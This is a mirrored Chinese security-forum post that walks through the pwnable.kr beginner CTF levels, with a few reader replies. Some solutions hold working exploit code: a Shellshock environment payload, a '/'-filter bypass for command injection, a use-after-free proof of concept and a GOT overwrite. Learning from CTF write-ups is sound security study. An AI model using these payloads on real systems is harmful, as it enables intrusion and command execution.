返回信息流http://pwnable.kr/play.php
入门关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~
Q1: fd
让read的第一个参数为0,所以argv[1]=0x1234=4660,然后输入LETMEWIN即可。
Q2: collision
需要输入5个整数的字符格式,最终和转为无符号整数为0x21DD09EC,考虑溢出可以选取:39F901FC*5,即可:
Q3: bof
32位编译,开了canary,但是在退出之前会调用system(“/bin/sh”),所以需要溢出函数调用之前压栈的参数:
代码如下:
运行得到shell:
Q4: flag
逆向题目,丢到IDA可以看到加了upx,在linux下面upx –d解压后,再丢回IDA可以看到flag:
Q5: passcode
这个程序会调用welcome和login,login函数的scanf没有给参数,可以通过welcome输入100字节控制第一个scanf的地址,造成一次任意地址写:
由于有exit,没办法修改eip跳转,所以直接修改got表(没有开地址随机化):
修改printf的地址到读flag的地方,结果如下:
Q6: random
代码中使用了rand()函数但是没有给种子,所以第一个默认是1804289383,转成16进制异或上0xdeadbeef,得到0xB526FB88,由于是int类型输入,对应-1255736440,输入可以得到flag:
Q7: input
本题一共有6关,其中第二关参考了,使用了dup2函数:
http://blog.csdn.net/hwz2311245/article/details/494855631
最终代码如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
char *args[101] = {0};
char *env[] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", 0};
args[100] = NULL;
for (int i=0; i<=99; i++)
{
args[i] = new char[100];
}
strcpy(args['A'],"");
strcpy(args['B'],"\x20\x0a\x0d");
strcpy(args['C'],"1112");
int fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644);
int fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644);
dup2(fd1,0);
dup2(fd2,2);
write(fd1, "\x00\x0a\x00\xff", 4);
write(fd2, "\x00\x0a\x02\xff", 4);
lseek(fd1,0,SEEK_SET);
lseek(fd2,0,SEEK_SET);
int fd3 = open("\x0a", O_RDWR|O_CREAT,0644);
write(fd3, "\x00\x00\x00\x00", 4);
close(fd3);
if (fork()==0)
execve("/home/input/input", args, env);
else
system("python -c \"print '\xde\xad\xbe\xef',\" | nc 127.0.0.1 1112");
return 0;
}
在pwnable.kr的/tmp/input新建编译,同时建立flag链接,运行得到flag:
Q8: leg
C代码是需要计算三段ARM汇编的函数返回值,相加得到结果。由于ARM中返回值保存在R0寄存器中,所以:
key1:0x8ce4
0x00008cdc <+8>: mov r3, pc(PC指向当前指令的下两条指令的地址)
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
key2:0x8d0c
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4(r3 = r3+4)
0x00008d08 <+24>: push {r3}
key3:0x8d80
0x00008d28 <+8>: mov r3, lr(LR寄存器保存函数返回现场地址)
0x00008d2c <+12>: mov r0, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
相加得108400,输入得到flag:
Q9: mistake
问题出在运算符优先级:
fd的值被赋值成0,从标准输入流读取密码,所以需要计算异或1之后的结果,即可以得到flag,如:
Q10: shellshock
利用漏洞的代码如下:
#include <unistd.h>
int main()
{
char *env[] = {"x=() { :;}; /home/shellshock/bash -c \"cat /home/shellshock/flag\"", 0};
execve("/home/shellshock/shellshock", NULL, env);
return 0;
}
编译运行得到flag:
Q11: coin1
采用二分法,具体python代码如下:
import socket
from time import sleep
def solve_coin(sock, N, C):
fake_min = 0
fake_max = N-1
# print fake_min, fake_max, C
while fake_min != fake_max:
mid = (fake_min + fake_max) / 2
real = (mid-fake_min+1)*10
if mid != fake_max:
send_buf = gen_line(fake_min, mid) + '\n'
else:
send_buf = '%d\n' % (mid)
sock.send(send_buf)
weight = int(sock.recv(1024))
if weight != real:
fake_max = mid
else:
fake_min = mid+1
C -= 1
for i in range(0, C):
sock.send(str(fake_min)+'\n')
#print fake_min
response_data = sock.recv(1024)
#print response_data
sock.send(str(fake_min)+'\n')
print fake_min
response_data = sock.recv(1024)
print response_data
def gen_line(start, end):
ret = ''
for i in range(start, end):
ret += ('%d '%i)
ret += str(end)
return ret
def main():
# Socket连接
remote_host = 'pwnable.kr'
remote_port = 9007
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((remote_host, remote_port))
# 接收消息
response_data = sock.recv(1024)
print response_data
response_data = sock.recv(1024)
print response_data
while (1):
# 接收消息
response_data = sock.recv(1024)
print response_data
N = int(response_data.split(' ')[0].split('=')[1])
C = int(response_data.split(' ')[1].split('=')[1])
solve_coin(sock, N, C)
# 关闭Socket
sock.close()
if __name__ == "__main__":
main()
由于需要在30s内完成100轮,所以放到pwnable.kr上运行得到flag:
Q12: blackjack
源码部分没有对输入的正负性进行判断,所以输入-100000000,然后故意输掉游戏即可取胜:
Q13: lotto
不太明白这个规则,但是在计算分数的时候,是循环比较,因此只需要输入6个相同的字符,有6/45的概率可以取胜,在服务器上尝试几次可以得到flag。
Q14: cmd1
程序过滤了flag、sh、tmp,可以用fla*绕过过滤。
Q15: cmd2
这里关键是程序过滤了/,需要绕过,参考了这篇文章的姿势:
http://blog.yiz96.com/index.php/2016/02/23/pwnable-cmd1-cmd2/
最后的payload为:./cmd2 '$(echo "\57")bin$(echo "\57")cat fla*',得到flag。
Q16: uaf
这里free掉m和w指针之后,再申请相同字节的空间(24B),可以实现对m和w指向的内容任意写,然后再调用。程序提供了getshell的函数。
最后执行的指令:
python -c "print '\x68\x15\x40'+'\x00'*5+'A'*16," > /tmp/uaf/poc
./uaf 24 /tmp/uaf/poc
这是一条镜像帖。来源:北邮人论坛 / security / #41755同步于 2016/6/15
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖
发一波pwnable.kr入门关(Toddler's Bottle)题解【多图。。。】
zhulan1991
2016/6/15镜像同步5 回复
订阅后,新回复会通过你的通知中心匿名送达。
5 条回复
word版题解:
附件(563.9KB)
【 在 zhulan1991 的大作中提到: 】
: http://pwnable.kr/play.php
: 菜鸟关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~
: Q1: fd
: ...................
惊现曹老师OrzOrz
【 在 zhulan1991 (YHZX_2013) 的大作中提到: 】
: http://pwnable.kr/play.php
: 入门关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~
: ...................
专业PWN选手来一发~
你是不是都已经刷完了,把题解交粗来。。。
【 在 xichixingman 的大作中提到: 】
: 惊现曹老师OrzOrz